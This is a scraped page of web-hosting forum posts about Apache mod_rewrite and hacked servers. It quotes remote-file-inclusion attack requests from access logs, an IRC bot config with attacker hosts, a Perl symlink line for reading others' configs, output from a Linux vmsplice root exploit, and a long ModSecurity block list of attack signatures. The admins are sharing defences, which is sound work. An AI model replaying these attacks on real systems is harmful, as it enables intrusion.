One of my servers is running Apache 1.3.34 (Unix), and I recently noticed that there was a rather large mod_rewrite security exploit found:
[url]
I can't seem to figure out if this affects me with the version I am running? Can anyone help me out on this to determine if I need to upgrade or if I am already patched up?
So I've setup a server heres the spec provided by Webmin
Operating systemUbuntu Linux 8.10
Webmin version1.470
Time on systemSun Mar 29 18:56:12 2009
Kernel and CPULinux 2.6.27-11-server on i686
System uptime5 days, 19 hours, 42 minutes
I'm struggling with mod_rewrite their seems to be no such thing...
Its not mentioned in the apache2.conf or httpd.conf, httpd.conf was blank previously but I added in certain things to get php working but I cannot get mod_rewrite working, which brings the question forward what else am i missing?
I started out with the aim of blocking the ability of viewing directories.
Quote:
Loaded Modules core mod_log_config mod_logio prefork http_core mod_so mod_alias mod_auth_basic mod_authn_file mod_authz_default mod_authz_groupfile mod_authz_host mod_authz_user mod_autoindex mod_cgi mod_deflate mod_dir mod_env mod_mime mod_negotiation mod_php5 mod_setenvif mod_status mod_vhost_alias
So how can I go about getting mod_rewrite setup and/or what ever else I'm missing that I might find essential later on once I have everything setup?
I'm moving a framework over to a new server for a client and they're using IIS. Is there an IIS equivalent to the following two lines of mod_rewrite code from Apache?
Code:
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*)$ pamwf.php?PAMWF_PATH_QUERY=$1 [L,QSA]
I recently upgraded my server and it is using Apache 2.2.3. I have all the same server directives as before when I was using an early version of Apache 2. The problem is that when I have RewriteEngine On, my cgi scripts generate a forbidden error. If I comment out that line, they go back to working again.
View 3 Replies View Relatedwe've been running our software on apache 1.3 for years with no problems. We have a new server running apache2 and now none of our mod_rewrite works. Is there something extra that needs to be done with apache 2 to get mod_rewrite working? The module is definitely loaded (first thing I checked). If we turn on allowOverride from None to All in the httpd.conf we get completely blank pages. Our regular php pages work fine with allowoverride set to none, but they all break when it is set to all. Please help. This is the second time we have run into this on apache 2 servers.
View 2 Replies View RelatedNotice: This is a discussion thread for comments about the SitePoint article, Learn Apache mod_rewrite: 13 Real-world Examples.
View 13 Replies View RelatedI am having a lot of problem in implementing mod-rewrite in the Apache 2.0 server due to its configuration that it has the Virtual Directory Support "Disabled".
I got this information from the function phpinfo() which displays a lot of other configuration values along with that.
Now I am unable to enable this Virtual Directory Support in the server and for this my mod-rewrite through .htaccess is not working at all.Subhasis
I have a freshly installed Redhat Enterprise 5 box running Apache/MySQL/PHP. Currently it is only hosting the Red Hat default server page and I've noticed a few strange entries in the apache log file. For example there is this:
xx.xxx.xxx.x - - [17/Feb/2008:16:25:37 -0500] "GET xxxx://xxx.xxxx***********/xxx.php xxxx/1.1" 404 289 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
I edited out the IP and domain but neither belong to me. Do I have a security problem here with my server?
Anyone can give me good rules for apache 2.2.6 / Cpanel , i'm new with this, i've use Apache 1.3.x before.
View 0 Replies View RelatedDoes the apache virtualhost environment lower the web or apache server's security? virtualhost has no security issues.
View 3 Replies View RelatedI have been trying to solve a big problem for the last 2 weeks with one of our servers.
The client using our system (web based w/ apache and php) is a contact center firm. They have about 120 operators, all connect to our websever with the same IP.
We have been suffering DoS attacks from some of these operators. This are simple, browser attacks , namely 5 or 10 operators will just hold F5 key and bombard the server with requests when they shouldnt.
We did manage to produce a php protection which will recognize the multiple requests and blacklist the user, but its "too late" because the request have already been sent and processed by the webserver.
We use the user ID in the system to control who should be blacklisted, so this is all dependent on our own authentication.
Ideally, we need something EXACTLY like mod_evasive, but for rejecting single requests instead of blocking the IP. Exemplifying : if a user calls the same url, 5 times, in a 3 second spawn, we will reject every next request for 30 seconds, but only the requests by that user.
If the webserver can make any use of it, the user id is stored in a cookie.
I read about a new exploit that imbeds PHP code in a GIF file:
[url]
How would that work exactly? Wouldn't a server have to be set up specifically to parse PHP code in gif files? Who would set up their server that way? Is there a way around that so you can remotely trick the server into parsing gif files as PHP code?
check this out [url]
That could do some damage, all someone would have to do is get shell on a site or be able to see config.php and then connect with that database and mass deface the server or put shells on other sites.
Anyone know of any way to prevent this?
Just discovered a php exploit on a client's domain.
Found this in the access_log
[url]
=
[url]
Take a look at rmod.txt
[url]
then found this in a conf.txt in the /pearus/.bash folder
Quote:
statefile Infodll.state
connectionmethod direct
server animefox.no-ip.biz 6666
server animefox.no-ip.biz 6667
server animefox.no-ip.biz 6668
server animefox.no-ip.biz 6669
server animefox.no-ip.biz 7000
server animefox2.no-ip.biz 6666
server animefox2.no-ip.biz 6667
server animefox2.no-ip.biz 6668
server animefox2.no-ip.biz 6669
server animefox2.no-ip.biz 7000
server animefox.no-ip.biz 6666
server animefox.no-ip.biz 6667
server animefox.no-ip.biz 6668
server animefox.no-ip.biz 6669
server animefox.no-ip.biz 7000
server animefox2.no-ip.biz 32000
server animefox2.no-ip.biz 40000
server animefox2.no-ip.biz 42000
server animefox2.no-ip.biz 44000
server animefox2.no-ip.biz 48000
channel ###Snake###
channel #PoIsOn_MuSiC
adminpass f2oL8zmnIG/CA
user_nick PoIsOn|MuSiC|030
#local_vhost 123.456.789.123
#tcprangestart 4000
#usenatip 123.456.789.123
user_realname ...::::9PoIsOn CrEw::::...
user_modes +ix
loginname r0x
slotsmax 10
queuesize 30
maxtransfersperperson 1
maxqueueditemsperperson 2
restrictlist yes
restrictprivlist no
restrictsend yes
restrictprivlistmsg Per la lista [url]
respondtochannelxdcc no
respondtochannellist no
headline 9,2 ..::4T11h0e 13B9e11S7t 4C11h9a8n7n8e7L 11O4f 11T7h4e 8W13o8r9l7D11::..
creditline 9,2 ..::4T11h0e 13B9e11S7t 4C11h9a8n7n8e7L 11O4f 11T7h4e 8W13o8r9l7D11::..
adminhost *!*@PoIsOn.CrEw
adminhost SilverFox!*@*.*
uploadhost *!*@PoIsOn.CrEw
uploadhost *!*@P.o.I.s.O.n
downloadhost *!*@*.*
hideos yes
filedir /home/httpd/vhosts/domain.com/httpdocs/pearus/.bash
uploaddir /home/httpd/vhosts/domain.com/httpdocs/pearus/.bash
#
contents of the .bash folder:
Quote:
-rw-r--r-- 1 apache apache 1729 Nov 23 11:44 conf.txt
-rwxr-xr-x 1 apache apache 214350 Nov 5 06:01 httpd
-rwxr-xr-x 1 apache apache 214382 Nov 5 06:01 httpd_chroot
-rw-r--r-- 1 apache apache 268 Nov 25 13:25 Infodll.state
-rw-r--r-- 1 apache apache 268 Nov 25 13:23 Infodll.state~
-rw-r--r-- 1 apache apache 268 Nov 19 06:12 mybot.state
-rw-r--r-- 1 apache apache 268 Nov 19 06:09 mybot.state~
-rw-r--r-- 1 apache apache 604160 Sep 23 09:07 Poi.tar
-rwxrwxrwx 1 apache apache 41 Nov 25 10:52 restart
Still trying to dig in some more to figure out how they were able to exploit
here's the first few lines of their blog.php
Quote:
<?php
session_cache_limiter('none');
session_start();
ob_start();
?>
<?php include_once("oneadmin/config.php");
include_once($path["docroot"]."common/session.php"); ?>
several of our dedicated servers got hacked,(NOT rooted), but many of sites on each server got hacked.
after tracing the hacking process, we found that the hacker only put a "perl" file contain:
++++++++++cut here+++++++++
symlink("/link/to/victim/configs","/link/to/local/hacker/site");
+++++++++++cut here++++++++++++
and then we found many links of victim config files on the local hacker site!
all servers runing with:
-php 4.4.7
-centos 4.5
-cpanel
i tried to do the same way by a normal user, but i get the "Permission denied" error and i can not read the linked files!
so how can i prevent the function "symlink" from executing using perl?
is there any new exploit in php/perl?
My provider sent me an abuse ticket with the message below. This is a cPanel server with 300 domains. How do I go about tracking down the problem? They can’t give me anymore information and I don’t know where else to look.
This ticket was automatically generated by the XXXXXXXXXXXXXX Network Protection System. An unusual amount of traffic has been detected involving your IP address xx.xx.xx.xx.
Details of the event follow:
3885: HTTP: PHP File Include Exploit
This filter detects an attempt to post the contents of an external script to a PHP application. This behavior is typical of a PHP file include vulnerability attack. This attack could allow an attacker to insert custom code into a variable that would be executed by all users of the vulnerable application.
CSF install the new version, I warned that the option Check for cxs. I had a few questions!
1 - is it free? And can be installed and will work?
2 - I like these things are additional to the installation?
3 - a bit about this new possibility to explain how to solve the case to get out of the red.
How Can i translate An Kernel Exploit to secure my server like that
[url]
how can i now what i do to my server if i see any exploit
Has anyone has to deal with a recent exploit of TikiWiki (comes as one of the available Fantastico scripts)? I found my server had been compromised quite by accident. I was Googleing my domain just to see what came up and found a bunch of pages with links to Porn sites that were in some sub directories in my TikiWiki install. This article discusses:
[url]
Just wondering if anyone here has had to deal with this and if there in anything else I should do that is not discussed in thie article?
have found open servers and are trying to execute:
Site: MYSite (mydomain.com)
Error Code: 404 Missing URL ()
Occurred: Tue Jun 10 17:57:20 MDT 2008
Requested URL: //mypanel/clientarea.php?action=[url]
User Address: 67.15.183.164
User Agent: libwww-perl/5.805
Referer:
"Alartist" seems to be an Arabic site while the IP seems to be hosted by the Planet.
Anyone else seeing these?
I have been having trouble with my server lately sending out a lot of emails and I thought I had tracked it down to people taking advantage of some mailing lists which I took care of.
What I ran into today is I have a business where I send out emails using a php script in our shopping cart. Well I got a lot of failure emails back that caught my attention. They have about 200 random email listings that are not in my database saying why they can't be delivered and then a copy of the actual newsletter that I just sent today.
So is it possible that some where something is injecting this BCC field into the php mail()? If so, is there something that I can do to find this script?
Box is set to poplock 20min, smtp auth on, firewall has been up for years, chkrootkit is clean.
I've been checking my logs and I'm seeing a TON of referers like...
Quote:
Originally Posted by Logs
[url]
Is this some kind of new Cpanel exploit?
I think i have a security problem about my server. I have centos4.4 2gb ram of server. Plesk 8.1 control panel
It is a dedicated server. Http crashed and when i want to restart apache it give address already in use error. Then while i was googling for solution for this, i found a solution and check which service is using that port and i saw r0nin there
I dont know if it is an exploit or how it infected and how to solve. I attached a screenshot below.
I will be glad if you can give me some more information about it. Also i am using apf as firewall on my server
There has been some hacker group out there on the net hacking lots of servers. Some of which I knew the admins/owners and they were not stupid people and kept their server up to date as well as using grsecurity kernels, selinux, assorted firewalls, etc. In other words they done what most of us do trying to keep their server as secure as possible.
But it done them no good as the hackers were able to get root access in minutes on linux and freebsd servers. After looking into it and asking around supposedly these hackers have a 0day remote root exploit for bind.
Anyone heard of this and does it seem plausible?
The bind that comes with cpanel and directadmin is BIND 9.3.3rc2 which is pretty old even compared to default rhel packages which are 9.42 now. Does anyone know why cpanel and da have bind excluded form being updated in yum? And what would be the harm in upgrading? Has anyone here upgraded their bind?
I'm having a recurring issue where someone is getting a script into /tmp, taking down the webserver and setting up their stupid IRC bot on port 80. It's annoying because thus far I have not been able to track them down. As soon as it happens I'm combing through the logs trying to find out what PHP script (probably PHPBB or something like it from one of my customers) is letting them through but there is nothing in the logs. I've had this happen before but usually there's some trace in the logs like some ASCII encoded string. Right now I just have little to nothing to go on and it's quite annoying. I've combed all over the net but found next to nothing. RKHunter doesn't even know it exists.
View 11 Replies View RelatedHas anyone encountered server being infected with Exploit.HTML.IESlice.bz
My server is infected with this new rootkit. Is the 'OS reload' only the solution?
Lately, our server logs are being filled with requests from exploited servers. In order to prevent our servers from being hacked, I have tried to harden the server as much as possible. (Server: Centos 4.6, Apache 2, PHP 5, MySql 5, Cpanel/WHM)
I have detailed my efforts and would appreciate some feed back or suggestions of your own that have been effective.
-------------
Examples include c99.txt exploits, php insertions, etc.
Recent Sample Logs:
Code:
66.246.246.38 - - [30/Jan/2008:16:32:59 -0500] "GET /example.cgi?SearchIndex=http%3A%2F%2Fwww.soeasywebsite.com%2Fsoeasycasino%2Fmaj%2Fpepus%2F&Manufacturer=Black+&+Decker HTTP/1.0" 406 442 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)"
Code:
64.38.19.90 - - [25/Jan/2008:04:35:22 -0500] "GET /post/index/7//bm/mail.php?id=http://www.gumgangfarm.com/shop/data/id.txt? HTTP/1.1" 406 464 "-" "libwww-perl/5.808"
Code:
207.44.154.126 - - [01/Feb/2008:01:36:12 -0500] "GET /index.php?act=http%3A%2F%2Fwww.qubestunes.com%2Fte%2Fratov%2Fomuley%2F&id=2 HTTP/1.0" 200 139303 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)"
What to do to prevent these intrusions?
1) I have updated my Mod_Security rules (running version modsec2) to include checks for the following:
Code:
# Check Content-Length and reject all non numeric ones
SecRule REQUEST_HEADERS:Content-Length "!^d+$" "deny,log,auditlog,msg:'Content-Length HTTP header is not numeric', severity:'2',id:'960016'"
# Do not accept GET or HEAD requests with bodies
SecRule REQUEST_METHOD "^(GET|HEAD)$" "chain,deny,log,auditlog,msg:'GET or HEAD requests with bodies', severity:'2',id:'960011'"
SecRule REQUEST_HEADERS:Content-Length "!^0?$"
# Require Content-Length to be provided with every POST request.
SecRule REQUEST_METHOD "^POST$" "chain,deny,log,auditlog,msg:'POST request must have a Content-Length header',id:'960012',severity:'4'"
SecRule &REQUEST_HEADERS:Content-Length "@eq 0"
# Don't accept transfer encodings we know we don't know how to handle
SecRule HTTP_Transfer-Encoding "!^$" "deny,log,auditlog,msg:'ModSecurity does not support transfer encodings',id:'960013',severity:'5'"
# Check decodings
SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES|REQUEST_HEADERS|
REQUEST_HEADERS:Referer "@validateUrlEncoding"
"chain, deny,log,auditlog,msg:'URL Encoding Abuse Attack Attempt',id:'950107',severity:'4'"
SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES|REQUEST_HEADERS|!REQUEST_HEADERS:Referer "\%(?![0-9a-fA-F]{2}|u[0-9a-fA-F]{4})"
# Proxy access attempt
SecRule REQUEST_URI ^http:/ "deny,log,auditlog,msg:'Proxy access attempt', severity:'2',id:'960014'"
#
# Restrict type of characters sent
SecRule REQUEST_FILENAME|REQUEST_HEADERS_NAMES|REQUEST_HEADERS|!REQUEST_HEADERS:Referer
"@validateByteRange 1-255"
"log,auditlog,msg:'Request Missing an Accept Header', severity:'2',id:'960015',t:urlDecodeUni,phase:1"
SecRule ARGS|ARGS_NAMES "@validateByteRange 1-255"
"deny,log,auditlog,msg:'Invalid character in request',id:'960901',severity:'4',t:urlDecodeUni,phase:2"
# allow request methods
SecRule REQUEST_METHOD "!^((?:(?:POS|GE)T|OPTIONS|HEAD))$"
"phase:1,log,auditlog,msg:'Method is not allowed by policy', severity:'2',id:'960032'"
# Restrict file extension
# removed exe so that frontpage will work
# Restricted HTTP headers
SecRule REQUEST_HEADERS_NAMES ".(?:Lock-Token|Translate|If)$"
"deny,log,auditlog,msg:'HTTP header is restricted by policy',id:'960038',severity:'4'"
SecRule HTTP_User-Agent "(?:(?:m(?:ozilla/4.0 (compatible)|etis)|webtrends security analyzer|pmafind)|n(?:-stealth|sauditor|essus|ikto)|b(?:lack ?widow|rutus|ilbo)|(?:jaascoi|paro)s|internet explorer|webinspect|.nasl)"
"deny,log,auditlog,msg:'Request Indicates a Security Scanner Scanned the Site',id:'990002',severity:'2'"
SecRule REQUEST_HEADERS_NAMES "acunetix-product"
"deny,log,auditlog,msg:'Request Indicates a Security Scanner Scanned the Site',id:'990901',severity:'2'"
SecRule REQUEST_FILENAME "^/nessustest"
"deny,log,auditlog,msg:'Request Indicates a Security Scanner Scanned the Site',id:'990902',severity:'2'"
SecRule REQUEST_HEADERS:User-Agent "(?:m(?:ozilla/(?:4.0 (compatible; advanced email extractor|2.0 (compatible; newt activex; win32))|ailto:craftbot@yahoo.com)|e(?:mail(?:(?:collec|harves|magne)t|(?: extracto|reape)r|siphon|wolf)|(?:collecto|irgrabbe)r|xtractorpro|o browse)|a(?:t(?:tache|hens)|utoemailspider|dsarobot)|w(?:eb(?:emailextrac| by mail)|3mir)|f(?:astlwspider|loodgate)|p(?:cbrowser|ackrat|surf)|(?:digout4uagen|takeou)t|(?:chinacla|be)w|hhjhj@yahoo|rsync|shai|zeus)"
"deny,log,auditlog,msg:'Rogue web site crawler',id:'990012',severity:'2'"
SecRule REQUEST_HEADERS:User-Agent "(?:(?:(?:indy librar|snoop)y|microsoft url control|lynx)|d(?:ownload demon|isco)|w(?:3mirror|get)|l(?:ibwww|wp)|p(?:avuk|erl)|cu(?:sto|rl)|big brother|autohttp|netants|eCatch)"
"chain,log,auditlog,msg:'Request Indicates an automated program explored the site',id:'990011',severity:'5'"
SecRule REQUEST_HEADERS:User-Agent "!^apache.*perl"
# Session fixation
SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES|REQUEST_HEADERS|!REQUEST_HEADERS:Referer "(?:.cookie.*?;W*?(?:expires|domain)W*?=|http-equivW+set-cookie)"
"capture,ctl:auditLogParts=+E,log,auditlog,msg:'Session Fixation. Matched signature <%{TX.0}>',id:'950009',severity:'2'"
# Blind SQL injection
SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES|REQUEST_HEADERS|!REQUEST_HEADERS:Referer "(?:(?:(?:s(?:ys.(?:user_(?:(?:t(?:ab(?:_column|le)|rigger)|object|view)s|c(?:onstraints|atalog))|all_tables|tab)|elect.{0,40}(?:substring|ascii|user))|m(?:sys(?:(?:queri|ac)e|relationship|column|object)s|ysql.user)|c(?:onstraint_type|harindex)|attnotnull)|(?:locate|instr)W+()|@@spid)"
"capture,t:replaceComments,ctl:auditLogParts=+E,log,auditlog,msg:'Blind SQL Injection Attack. Matched signature <%{TX.0}>',id:'950007',severity:'2'"
SecRule REQUEST_FILENAME|ARGS|REQUEST_HEADERS|!REQUEST_HEADERS:Referer "(?:(?:s(?:ys(?:(?:(?:process|tabl)e|filegroup|object)s|c(?:o(?:nstraint|lumn)s|at)|dba|ibm)|ubstr(?:ing)?)|user_(?:(?:(?:constrain|objec)t|tab(?:_column|le)|ind_column|user)s|password|group)|a(?:tt(?:rel|typ)id|ll_objects)|object_(?:(?:nam|typ)e|id)|pg_(?:attribute|class)|column_(?:name|id)|(?:dba|mb)_users|xtypeW+char|rownum)|t(?:able_name|extposW+())"
"capture,t:replaceComments,ctl:auditLogParts=+E,log,auditlog,msg:'Blind SQL Injection Attack. Matched signature <%{TX.0}>',id:'950904',severity:'2'"
# SQL injection
SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES|REQUEST_HEADERS|!REQUEST_HEADERS:Referer "(?:(?:(?:s(?:elect(?:.{1,100}?(?:(?:length|count|top).{1,100}?from|from.{1,100}?where)|.*?(?:d(?:ump.*from|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p_(?:(?:addextendedpro|sqlexe)c|(?:oacreat|prepar)e|execute(?:sql)?|makewebtask)|ql_(?:longvarchar|variant))|xp_(?:reg(?:re(?:movemultistring|ad)|delete(?:value|key)|enum(?:value|key)s|addmultistring|write)|e(?:xecresultset|numdsn)|(?:terminat|dirtre)e|availablemedia|loginconfig|cmdshell|filelist|makecab|ntsec)|u(?:nion.{1,100}?select|tl_(?:file|http))|group.*by.{1,100}?having|loadW*?data.*infile|(?:n?varcha|tbcreato)r|autonomous_transaction|open(?:rowset|query)|dbms_java)|i(?:n(?:toW*?(?:dump|out)file|sertW*?into|nerW*?join)|(?:f(?:W*?(W*?benchmark|null)|snull)W*?()|(?:having|or|and)s+?(?:d{1,10}|'[^=]{1,10}')s*?[=<>]+|(?:print]W*?@|root)@|c(?:astW*?(|oalesce))|(?:;W*?(?:shutdown|drop)|@@version)|'(?:s(?:qloledb|a)|msdasql|dbo)')"
"capture,t:replaceComments,ctl:auditLogParts=+E,log,auditlog,msg:'SQL Injection Attack. Matched signature <%{TX.0}>',id:'950001',severity:'2'"
SecRule REQUEST_FILENAME|ARGS|REQUEST_HEADERS|!REQUEST_HEADERS:Referer "(?:user_(?:(?:object|table|user)s|password|group)|a(?:tt(?:rel|typ)id|ll_objects)|object_(?:(?:nam|typ)e|id)|pg_(?:attribute|class)|column_(?:name|id)|substr(?:ing)?|table_name|mb_users|rownum)"
"capture,t:replaceComments,ctl:auditLogParts=+E,log,auditlog,msg:'SQL Injection Attack. Matched signature <%{TX.0}>',id:'950906',severity:'2'"
# XSS
SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES|REQUEST_HEADERS "(?:(?:on(?:(?:mo(?:use(?:o(?:ver|ut)|down|move|up)|ve)|key(?:press|down|up)|c(?:hange|lick)|s(?:elec|ubmi)t|(?:un)?load|dragdrop|resize|focus|blur)W*?=|abort)|(?:l(?:owsrcW*?(?:(?:java|vb)script|shell)|ivescript)|(?:href|url)W*?(?:(?:java|vb)script|shell)|background-image|mocha):|typeW*?(?:text(?:W*?(?:j(?:ava)?|ecma)script| [vbscript])|applicationW*?x-(?:java|vb)script)|s(?:(?:tyleW*=.*expressionW*|ettimeoutW*?)(|rcW*?(?:(?:java|vb)script|shell|http):)|(?:c(?:opyparentfolder|reatetextrange)|get(?:special|parent)folder)|a(?:ctivexobject|lertW*?())|<(?:(?:body.*?(?:backgroun|onloa)d|input.*?typeW*?image)|![CDATA[|script|meta)|(?:.(?:(?:execscrip|addimpor)t|(?:fromcharcod|cooki)e|innerhtml)|@import))"
"capture,ctl:auditLogParts=+E,log,auditlog,msg:'Cross-site Scripting (XSS) Attack. Matched signature <%{TX.0}>',id:'950004',severity:'2'"
# file injection
SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES|REQUEST_HEADERS "(?:(?:.(?:ht(?:access|passwd|group)|www_?acl)|global.asa|httpd.conf|boot.ini)|/etc/)"
"capture,ctl:auditLogParts=+E,deny,log,auditlog,msg:'Remote File Access Attempt. Matched signature <%{TX.0}>',id:'950005',severity:'2'"
# Command access
SecRule REQUEST_FILENAME "(?:n(?:map|et|c)|w(?:guest|sh)|cmd(?:32)?|telnet|rcmd|ftp).exe"
"capture,ctl:auditLogParts=+E,deny,log,auditlog,msg:'System Command Access. Matched signature <%{TX.0}>',id:'950002',severity:'2'"
# Command injection
SecRule ARGS|ARGS_NAMES|REQUEST_HEADERS "(?:(?:(?:n(?:et(?:W+?localgroup|.exe)|(?:map|c).exe)|t(?:racer(?:oute|t)|elnet.exe|clsh8?|ftp)|(?:w(?:guest|sh)|rcmd|ftp).exe|echoW*?y+)|c(?:md(?:(?:32)?.exe|W*?/c)|d(?:W*?[/]|W*?..)|hmod.{0,40}?+.{0,3}x))|[;|`]W*?(?:(?:c(?:h(?:grp|mod|own|sh)|md|pp|c)|p(?:asswd|ython|erl|ing|s)|n(?:asm|map|c)|f(?:inger|tp)|(?:kil|mai)l|(?:xte)?rm|ls(?:of)?|telnet|uname|echo|id)|g(?:++|cc))|/(?:c(?:h(?:grp|mod|own|sh)|pp|c)|p(?:asswd|ython|erl|ing|s)|n(?:asm|map|c)|f(?:inger|tp)|(?:kil|mai)l|g(?:++|cc)|(?:xte)?rm|ls(?:of)?|telnet|uname|echo|id)(?:['"|;`-s]|$))"
"capture,ctl:auditLogParts=+E,deny,log,auditlog,msg:'System Command Injection. Matched signature <%{TX.0}>',id:'950006',severity:'2'"
SecRule "ARGS|ARGS_NAMES|REQUEST_HEADERS|!REQUEST_HEADERS:User-Agent"
"wget"
"capture,ctl:auditLogParts=+E,deny,log,auditlog,msg:'System Command Injection. Matched signature <%{TX.0}>',id:'950907',severity:'2'"
# SSI injection
SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES|REQUEST_HEADERS "<!--W*?#W*?(?:e(?:cho|xec)|printenv|include|cmd)"
"capture,ctl:auditLogParts=+E,deny,log,auditlog,msg:'SSI injection Attack. Matched signature <%{TX.0}>',id:'950011',severity:'2'"
# PHP injection
SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES|REQUEST_HEADERS "(?:(?:(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open)|$_(?:(?:pos|ge)t|session))|<?(?!xml))"
"capture,ctl:auditLogParts=+E,deny,log,auditlog,msg:'PHP Injection Attack. Matched signature <%{TX.0}>',id:'950013',severity:'2'"
#suntzu
SecRule REQUEST_URI|REQUEST_BODY|HTTP_Content-Disposition "/(suntzu.*|suntzu).php?cmd="
#Known rootkits
SecRule REQUEST_URI|REQUEST_BODY "perl (xpl.pl|kut|viewde|httpd.txt)"
SecRule REQUEST_URI|REQUEST_BODY "./xkernel;"
SecRule REQUEST_URI|REQUEST_BODY "/kaiten.c"
SecRule REQUEST_URI|REQUEST_BODY "/mampus?&(cmd|command)"
# WEB-MISC .htpasswd access
SecRule REQUEST_URI ".htpasswd"
# WEB-MISC /etc/passwd access
SecRule REQUEST_URI "/etc/passwd"
#Exploit agent
SecRule HTTP_User-Agent "Mosiac 1.*"
#remote bash shell
SecRule REQUEST_URI "/shell.php&cmd="
SecRule ARGS "/shell.php&cmd="
# WEB-CGI formmail
SecRule REQUEST_URI "/(formmail|mailform)(x0a|.plx0a)"
#Invision Board ipchat.php file include
SecRule REQUEST_URI "/hk/ipchat.php*root_path*conf_global.php"
#Invision Power Board SQL injection
SecRule REQUEST_URI "/hk/index.php?act=.*&max_results=.*&filter=.*&sort_order=.*&sort_key=.*&st=*(UNION|SELECT|DELETE|INSERT)"
#Invision Gallery SQL Injection Vulnerabilities
SecRule REQUEST_URI "/hk/index.php" chain
SecRule ARGS:comment "(select|grant|delete|insert|drop|do|alter|replace|truncate|update|create|rename|describe)[[:space:]]+[A-Z|a-z|0-9|*| ]+[[:space:]](from|into|table|database|index|view)"
# TIKIWIKI
SecRule REQUEST_URI "/tiki-map.phtml?mapfile=../../"
#Wordpress shell injection Vulnerability
SecRule REQUEST_URI "/cache/user.*/.*.php?cmd=" "id:390064,rev:1,severity:2,msg:'JITP: Wordpress shell injection Vulnerability'"
#Bad agent
SecRule HTTP_User-Agent "Brutus/AET"
#Web leaches
SecRule HTTP_User-Agent "Linux"
SecRule HTTP_User-Agent "libcurl-agent"
SecRule HTTP_User-Agent "TurnitinBot"
SecRule HTTP_User-Agent "ANONYMOUS"
SecRule HTTP_User-Agent "LinkWalker"
SecRule HTTP_User-Agent "Drecombot"
SecRule HTTP_User-Agent "Mac Finder"
SecRule HTTP_User-Agent "ConveraCrawler"
SecRule HTTP_User-Agent "WebarooBot"
SecRule HTTP_User-Agent "RufusBot"
SecRule HTTP_User-Agent "SumeetBot"
SecRule HTTP_User-Agent "pulseBot"
SecRule HTTP_User-Agent "FyberSpider"
SecRule HTTP_User-Agent "1-More Scanner v1.25"
SecRule HTTP_User-Agent "DRT-ResolveBot-Ignore"
SecRule HTTP_User-Agent "T-H-U-N-D-E-R-S-T-O-N-E"
SecRule HTTP_User-Agent "SnapPreviewBot"
SecRule HTTP_User-Agent "IRLbot"
SecRule HTTP_User-Agent "Charlotte"
SecRule HTTP_User-Agent "ninetowns"
SecRule HTTP_User-Agent "heritrix"
SecRule HTTP_User-Agent "Python-urllib"
SecRule HTTP_User-Agent "InetURL"
SecRule HTTP_User-Agent "cazoodle"
SecRule HTTP_User-Agent "DepSpid" "deny,nolog,status:410"
SecRule HTTP_User-Agent "Browsezilla"
SecRule HTTP_User-Agent "MetagerBot"
SecRule HTTP_User-Agent "TALWinHttpClient"
SecRule HTTP_User-Agent "Snapbot"
SecRule HTTP_User-Agent "BDFetch"
SecRule HTTP_User-Agent "WebaltBot"
SecRule HTTP_User-Agent "VSynCrawler"
SecRule HTTP_User-Agent "UbiCrawler"
SecRule HTTP_User-Agent "WebCapture"
SecRule HTTP_User-Agent "WebCopier"
SecRule HTTP_User-Agent "FairAd Client"
SecRule HTTP_User-Agent "Black Hole"
SecRule HTTP_User-Agent "Crescent"
SecRule HTTP_User-Agent "MIIxpc"
SecRule HTTP_User-Agent "Harvest"
SecRule HTTP_User-Agent "LinkextractorPro"
SecRule HTTP_User-Agent "Snoopy"
SecRule HTTP_User-Agent "IDBot"
SecRule HTTP_User-Agent "Cyveillance" "deny,nolog,status:404"
SecRule HTTP_User-Agent "PEAR HTTP_Request class"
SecRule HTTP_User-Agent "libwww-perl"
11) Review my logs daily to look for problem child scrapers, hackers, and issues.
posted today in slashdot, after over 10 years no remote exploit, ...
[url]
one of my client account has just been hacked with c.100 exploit. This method injects 1 php file that acts like fully featured file manager. This hacker use my client account to place multiple scam & phissing sites
now i'm wondering if this kind of exploit hacking have a way to counter them as my friend that there aren't any proved method untill now :-/
This is the php file i've recovered:
<<url removed>>
FYI, my server configuration:
- apache 2.2.11
- centos 5.2
- cpanel + whm 11.24.4
- suphp, clamav & modsec enabled
one of my clients seems to be attracting unwanted attention, it seems as if bots or something along those lines are attempting to exploit my box, while they are unsuccessful it would seem. I was wdonering if there was a rule I could put in Mod_Security that would ban them for attempting to
GET "/awstatsf/logger.php?action=log&type=Hybrid&host=hacked101&"
Get ready for another round of patching and reboots. See:
[url]
Linux vmsplice Local Root Exploit
By qaaz
Linux 2.6.17 - 2.6.24.1
Debian also has a report but I'm trying to avoid linking to the source of the exploit. It works on 2.6.24, but only once. Then the box kernel panics (did for me). 2.6.24.1 is out as of couple days ago, but I'm not sure if it's still vulnerable. Seems like it is.
luki@tester:/tmp$ gcc t.c -o t
luki@tester:/tmp$ ./t
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7e6f000 .. 0xb7ea1000
[+] root
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@tester:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@tester:/tmp#